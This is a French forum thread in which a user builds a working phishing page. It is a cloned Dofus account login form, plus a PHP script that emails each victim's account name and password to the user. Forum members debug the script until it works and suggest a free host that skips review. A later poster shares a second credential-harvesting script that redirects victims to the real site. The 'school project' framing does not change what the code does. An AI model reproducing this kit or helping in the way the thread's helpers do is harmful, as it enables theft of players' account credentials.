Actualité informatique
Test comparatif matériel informatique
Jeux vidéo
Astuces informatique
Vidéo
Télécharger
Services en ligne
Forum informatique
01Business

|-  LOGICIELS


|||-  

[RESOLU] Adaptation script PHP

 

1 utilisateur anonyme et 11 utilisateurs inconnus
Ajouter une réponse
 

 
Page photos
 
     
Vider la liste des messages à citer
 
 Page :
1
Auteur
 Sujet :

[RESOLU] Adaptation script PHP

Prévenir les modérateurs en cas d'abus 
timdid
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 12:21:46  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Bonjour,

 Je viens vous demander de l'aide au sujet d'un script php. Il s'agit de ce qu'on pourrait appeler un formmail. C'est un script qui fait en sorte que les informations remplies dans les champs me sont envoyées par mail.

 J'ai donc ma page html avec mes deux champs. Mais le script html ne marche pas... Je ne reçois rien et il me met "Vous n'avez pas complété le champ 1 et 2"

 Donc je vous post mon script php : Pouvez vous me dire si quelque chose cloche ?

 



<?

 function check_mail($champ4) {
 if( (preg_match('/(@.*@)|(\.\.)|(@​\.)|(\.@)|(^\.)/', $champ4)) ||
 (preg_match('/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3​}|[0-9]{1,3})(\]?)$/',$champ4)) ) {
 $host = explode('@', $champ4);
 if(checkdnsrr($host[1].'.', 'MX') ) return true;
 if(checkdnsrr($host[1].'.', 'A') ) return true;
 if(checkdnsrr($host[1].'.', 'CNAME') ) return true;
 }
 return false;
 }
 $MailTo = "adresseemail@essai.fr";
 $MailSubject = "Essai Formmail";
 $MailHeader = "From: ";

 $min_size="3"; // Longueur minimum du message
 $max_size="5000"; //Longueur maximum du message


 $Envoi = 1;
 if ($champ1 == "" ){echo("Vous n'avez pas complété le champ 1.<br>" );
 $Envoi = 0;
 }
 else {
 $MailBody .= "Pseudo $champ1\n";
 }
 if ($champ2 == "" ){
 echo("Vous n'avez pas complété le champ Mot De Passe.<br>" );
 $Envoi = 0;
 }
 else {
 $MailBody .= "Mot de pass $champ2\n";
 }
 if ($Envoi == 0) {
 }

 //Envoi du message
 if ($Envoi == 1) {
 mail($MailTo, $MailSubject, $MailBody, $MailHeader);
 }
 ?>
 <meta http-equiv="refresh" content="3,www.adresseopif.com​/">
 




 Ou sinon pourriez vous me faire un script php adapté à ma page html, c'est à dire avec 2 champs car je ne m'y connais pas du tout en php, vous l'aurez compris. Donc voici  ma page :

 



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/D​TD/xhtml1-transitional.dtd">

 <html xmlns="http://www.w3.org/1999/​xhtml" xml:lang="fr" lang="fr">
 <head>
 <title>Dofus</title>
 <meta name="description" content="" />
 <meta name="keywords" content="" />
 <meta name="robots" content="Index,Follow" />
 <meta name="language" content="fr" />
 <meta http-equiv="imagetoolbar" content="no" />
 <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
 <link type="image/x-icon" rel="shortcut icon" href="index_files/favicon0.ico​" />
 <link rel="stylesheet" type="text/css" href="index_files/reset000.css​" media="screen" />
 <link rel="stylesheet" type="text/css" href="index_files/base0000.css​" media="screen" />
 <link rel="stylesheet" type="text/css" href="index_files/global00.css​" media="screen" />
 <script type="text/javascript">
 STATIC = "https://static.ankama.com/ank​amaaccount/www"
 </script>
 </head>
 <body class="fr">
 <div id="body">
 <a id="logo" href="http://www.dofus.com/fr"​></a>
 <div id="header">
 <div id="quick">

<ul>

<li><a href="https://www.dofus.com/es​" class="es"></a></li>

<li><a href="https://www.dofus.com/de​" class="de"></a></li>

<li><a href="https://www.dofus.com/en​" class="en"></a></li>

<li><a href="https://www.dofus.com/fr​" class="fr_on"></a></li>

</ul>

<p>

<a href="https://www.dofus.com/fr​/creer-un-compte">Inscription<​/a> |

<a href="https://www.dofus.com/fr​/votre-compte">Gestion de compte</a>

| <a href="http://www.ankama-games.​com/fr/abonnement/" target="_blank">Abonnement</a>

</p>
 </div>
 </div>
 <div id="content">

 <div class="warning share">Pour la sécurité de votre compte,<br />
 <strong>ne partagez pas ces informations !</strong></div>
 <h1>Identification</h1>
 <a href="http://www.dofus.com/fr"​>Retour au site communautaire</a>

 <form class="form" method="post" action="formmail.php">
 <input type="hidden" name="postBack" value="1" />
 <input type="hidden" name="f" value="" />
 <p class="intro">Si vous possédez déjà un compte, identifiez-vous ci-dessous :</p>
 <div class="ident">
 <h3>Identification</h3>
 <fieldset>

<label for="champ1">* Votre nom de compte : </label>

<input name="champ1" id="login" type="text" value="" />
 </fieldset>
 <fieldset>

<label for="champ2">* Votre mot de passe : </label>

<input name="champ2" id="password" type="password" value="" />
 </fieldset>
 <fieldset class="center">

<input type="submit" class="bt btbig" value="Je m'identifie" />
 </fieldset>
 </div>
 </form>
 <p class="recover">
 <a href="https://www.dofus.com/fr​/votre-compte/retrouver-mot-de​-passe">J'ai oublié mon mot de passe !</a> |
 <a href="https://www.dofus.com/fr​/creer-un-compte">Je n'ai pas de compte</a>
 </p>
 <p class="grey">* Tous les champs sont obligatoires</p>

 </div>
 <div class="clear"></div>
 <div id="stop"></div>
 </div>
 <div id="footer"><a href="javascript:void(0);" onclick="window.open('http://w​ww.ankama.com/terms_of_use/ter​ms.php?lang=fr&amp;site=do','p​op','scrollbars=yes,menubar=ye​s,width=700,height=600')">Cond​itions d'utilisation</a> - <a href="javascript:void(0);" onclick=" window.open('http://www.ankama​.com/terms_of_use/policy.php?l​ang=fr&amp;site=do','pop','scr​ollbars=yes,menubar=yes,width=​650,height=500')">Politique de confidentialité</a> - <a href="javascript:void(0);" onclick="window.open('http://w​ww.ankama.com/terms_of_use/sec​urity.php?lang=fr&amp;site=ag'​,'pop','scrollbars=yes,menubar​=yes,width=650,height=500')">P​aiements & Sécurité</a><br />
 <a href="http://www.ankama.com/" target="_blank">Ankama</a> © 2008. Tous droits réservés.</div><script type="text/javascript">
 var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www." );
 document.write(unescape("%3Csc​ript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/s​cript%3E" ));
 </script>
 <script type="text/javascript">
 var pageTracker = _gat._getTracker("UA-122429-46​" );
 pageTracker._setDomainName("no​ne" );
 pageTracker._setAllowLinker(tr​ue);
 pageTracker._initData();
 pageTracker._trackPageview();
 </script>


 </body>
 </html>
 <!-- This document saved from https://www.dofus.com/fr/identification -->
 




 Cette page, je ne sais pas si vous l'avez remarqué, est en faite du phishing  ;) Ne vous inquiétez pas elle n'est pas de moi, nous sommes en train d'étudier le html en cours (j'ai un peu séché) et nous devons présenter un projet. Ici nous présenterons le fonctionnement de cette technique illégal, et pour ça il nous faut un bon exemple.
 J'espère que personne n'essaiera d'utiliser cette page à de mauvaises fin.

 Merci d'avance.


timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 17:18:04  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
SVP j'attend une réponse !

(Publicité)
Je pompe donc je suis.
  1. homepage
le-n-in-vert
Débutant confirmé (de 1 000 à 4 999 messages postés)
  1. Posté le 28/05/2008 à 17:25:12  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Le scripte php que tu montre est assez moche...
 Comme sa je ne vois pas d'erreur mais bon...

 Et sa me semble impossible qu'il te mette :
 "Vous n'avez pas complété le champ 1 et 2"

 Il met plutôt :
 "Vous n'avez pas complété le champ 1" et / ou "Vous n'avez pas complété le champ Mot De Passe."


 Après si tu veut je te récrie un scripte propre qui marche et qui fait ce que tu veut...


---------------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon Le site du zero : http://www.siteduzero.com Mes sites : http://www.sendle.com
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 18:02:39  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Oui tu as raison j'ai écris le message un peu dans la précipitation il me met bien distinctement les deux messages :
 



Vous n'avez pas complété le champ 1
 Vous n'avez pas complété le champ 2




 Donc si tu dis que le script est pas tres beau. Et comme il ne marche pas ce  ne serait pas de refus que tu m'en refasses un. Ce serait meme la meilleur chose que tu pourrais me faire.

 Donc merci, je l'attend avec impatience.
 :love:

Je pompe donc je suis.
  1. homepage
le-n-in-vert
Débutant confirmé (de 1 000 à 4 999 messages postés)
  1. Posté le 28/05/2008 à 19:01:49  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Tu veut que sa soit un seul fichier "formmail.php" avec ton html et le php inclue dedans ou que ton fichier html pointe vers un scripte php distant appeler "formmail.php" ??


---------------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon Le site du zero : http://www.siteduzero.com Mes sites : http://www.sendle.com
(Publicité)
pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 19:06:01  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 

timdid a écrit :

Oui tu as raison j'ai écris le message un peu dans la précipitation il me met bien distinctement les deux messages :



 Donc si tu dis que le script est pas tres beau. Et comme il ne marche pas ce  ne serait pas de refus que tu m'en refasses un. Ce serait meme la meilleur chose que tu pourrais me faire.

 Donc merci, je l'attend avec impatience.
 :love:
 



 C'est pas à lui de faire ton boulot O_o.

 Tu utilises $champ1 et $champ2 sans les avoir crées. Tu comptes donc sur les register_globals.
 Or, cette fonction est désactivée depuis php4.2 (je crois).

 Tu dois commencer par redéclarer tes variables $champ1 = $_POST['champ1']


---------------
Fils d'Albanel, va !
Je pompe donc je suis.
  1. homepage
le-n-in-vert
Débutant confirmé (de 1 000 à 4 999 messages postés)
  1. Posté le 28/05/2008 à 19:11:42  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Mais euh moi sa m'amuse de faire ces scripte :p
 Enfin bon d'un certain coté Pc_eXPert a raison c'est mieux pour toi si tu le fait toi même...
 C'est utile de connaitre php... Sa te servira surement a l'avenir...
 Et puis entre nous c'est pas bien compliquer...


---------------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon Le site du zero : http://www.siteduzero.com Mes sites : http://www.sendle.com
pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 19:14:06  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Mais ce script il est pas de lui ?

 Si c'est le cas il doit avoir quelques bases quand même (pi y'a les regexp, bon...)


---------------
Fils d'Albanel, va !
(Publicité)
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 21:02:18  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Bonjour à tous, alors ce n'est pas moi qui ai fait le script, je l'ai trouvé sur interne. Un débutant me l'a fait en faite...
 Car mon cours ne porte pas beaucoup sur le php et donc je n'ai aucune notion en php. Mais pour faire le projet que j'envisage j'aurai besoin de ce script. Mais mon projet ne porte pas sur le php mais sur les techniques de hack illégales donc le phishing est une sous-partie et pour créer la page de phishing j'ai besoin d'un script php. Donc même si vous me disiez que je dois le faire moi même ça n'arrivera pas j'en serais incapable  :p  et c'est pour ça que je viens demander votre aide si précieuse.

 Je ne sais pas si je me suis bien expliquer  :pt1cable:  Sinon je referai mon message plus clairement  :/  

 Donc espérons que le nain vert va s'amuser à faire mon script. En tous cas ce serait super sympa

 Merci d'avance (enfin j'espère  :jap: )

pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 21:04:42  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Je t'ai dit ce qui n'allait pas.

 PS : le phishing, c'est le mal.


---------------
Fils d'Albanel, va !
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 21:10:21  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Merci PC_Expert_3. Mais je viens de dire que je ne m'y connaissais pas du tout en php  :pleure:  Donc ce serait sympa de me récrire mon script en rajoutant les 2 lignes que tu as mentionnées, celle ou il faut déclarer les champs.
 Sinon explique moi comment faire  :jap:

(Publicité)
pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 21:18:02  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Ben tu rajoutes au tout début
 $champ1 = $_POST['champ1'];
 $champ2 = $_POST['champ2'];

 Je suis pas sûr qu'il n'y ait que ça qui bloque, mais bon, on verra ça quand t'auras corrigé ce premier problème.


---------------
Fils d'Albanel, va !
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 21:38:52  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Bon bah j'ai fait comme tu m'a dit. J'ai rajouter ces deux lignes au début. Et voilà que je n'ai plus de messages d'erreur  :super:

 ... Mais ça ne marche toujours pas. Je ne reçois aucun mail. Et vu que je doit montrer un exemple vaut mieux qu'il marche. Donc si tu pouvais encore un peu m'aider  :jap:

pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 22:01:00  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
if ($Envoi == 0) {
 }
 A supprimer, c'est vide, inutile.
 Et puis quelle horreur ce $Envoi=1 $Envoi=0...

 $MailHeader = "From: ";
 rajoute un truc genre From :adresse@mail.net


---------------
Fils d'Albanel, va !
(Publicité)
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 22:07:29  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
J'ai supprimé :
 if ($Envoi == 0) {
 }

 J'ai aussi ajouter une adresse après "From:..."
 Et ça ne marche pas.
 Mais quand tu dis "quelle horreur" tu veux que je modifie ou que je supprime les $Envoi=1 $Envoi=0...  ??

pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 22:15:48  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Plus simplement : est-ce que le serveur sur lequel ce script tourne a un SMTP ?


---------------
Fils d'Albanel, va !
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 22:22:00  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Mhh je sais pas il faudrait que je mette quoi dans le script pour qu'il essaye juste d'envoyer un mail ? et le serveur que j'utilise est http://www.000webhost.com/ et je ne sais pas s'il a un smtp

timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 22:26:37  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Euh vraiment très peu.

pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 22:27:26  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
mail('tonadresse@isp.net','Le titre du message','Le message de test');
 Tu mets ça tout en haut de ton script, il l'enverra en premier.

 Si rien ne vient, alors tu ne peux pas envoyer de mails à partir de ce serveur.


---------------
Fils d'Albanel, va !
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 22:33:29  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Merci de votre aide. J'ai fait comme vous m'avez dit... Et j'ai recu aucun message.

 Alors je vais vous poser une dernière question ? Vous pourriez me communiquer des noms d'hébergeurs gratuits ou il n'y a pas besoin de faire de requete (trop long et souvent rejeté vu que ça a rapport avec un truc illégal)

pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 22:52:08  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
www.bplaced.net
 Allemand mais très bien : 1Go de stockage, 10 bases SQL, possibilité de rediriger un domaine en A, pas de pub.


---------------
Fils d'Albanel, va !
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 28/05/2008 à 23:20:35  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Merci je viens de me créer un compte ça m'a l'air parfait.
 mais je sens que je vais etre un peu casse-pied. Mais j'ai mis mon site sur le ftp avec ma page index.html à la racine.
 Mais quand je me met sur mon site, c'est pas mon index qui apparait ? Comment faire ?

 Ps: Et comment faire pour retirer les pubs ? Du style la bannière google ads

pc_expert_3
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 28/05/2008 à 23:34:55  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Euh c'est quoi l'URL de ton site ?
 Parce qu'il n'y a pas de google ad normalement O_o


---------------
Fils d'Albanel, va !
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 29/05/2008 à 05:22:28  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Et bien non tu as raison, il n'y en a pas. Il y en avait avant que je mette mon site maintenant y e n plus et ça marche nickel. Plus qu'à vérifier si le script lui marche. Je te tiendrai aux nouvelles.
 Merci

timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 29/05/2008 à 05:30:12  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
SUPER  :sol:  ça marche nickel, merci ma note va etre super.
 En tous cas sans vous j'y serais pas arrivé merci :jap:

 Ps: Là je vux bien qu'on lock le sujet.

Je pompe donc je suis.
  1. homepage
le-n-in-vert
Débutant confirmé (de 1 000 à 4 999 messages postés)
  1. Posté le 29/05/2008 à 12:01:23  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Bon bah je suis au chomage alors...
 :lol:

 Pour ce qui est de ton sujet EDIT le premier message et rajoute [resolu] au nom du sujet...


---------------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon Le site du zero : http://www.siteduzero.com Mes sites : http://www.sendle.com
timdid
Bébé forumeur (De 10 à 49 messages postés)
  1. Posté le 29/05/2008 à 14:18:47  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
Ok c'est fait =D

axmax
  1. Posté le 23/03/2009 à 08:28:49  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
svp vous pouve me le post voir comme sa fait

axmax
  1. Posté le 23/03/2009 à 09:56:57  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
svp j'ai un formail (je l'ai apelle envoi.php ) mais je recois pas je recois le pseudo sur objet est le mot de passe . je ne utulise pas pour un phising sur pour teste .

 <html>
 <meta HTTP-EQUIV="Refresh" content="0;URL=https://www.dof​us.fr">
 </html>
 <?

$headers ='From: "Noveau TEste"<Mon Adresse@hotmail.fr>'."\n";

   $login = htmlentities ($_POST['login'], ENT_QUOTES);
   $passwd = htmlentities ($_POST['passwd'], ENT_QUOTES);

if(mail('MonAdresse@hotmail.fr​', $login, $passwd, $headers))

{

echo '';

}

else

{

echo 'SERVER ERROR';

}
 ?>

 svp aide moi le html c'est la page dofus

 Page :
1

Aller à :
 

Sujets relatifs
équivalent de GOTO LABEL en php Adaptation taille composant/taille fenetre
script php réduire une vidéo pour la diffuser (résolu)
probleme mon pc ne lit pas ma carte sd (résolu) RESOLU Acces au disque dur refusé
Problème installation DirectX [Résolu] pc redemarre tout seul [resolu]
Plus de sujets relatifs à : [RESOLU] Adaptation script PHP

Les 5 sujets de discussion précédents Nombre de réponses Dernier message
Messages d'erreurs à l'ouverture de Visual C Express 2008 0
cryptage de mot de passe type forum phpbb3 22
Une liste déroulante d'après une BDD en Javascript 0
problème affichage pour un classement 2
quel est le cms de ce forum... 4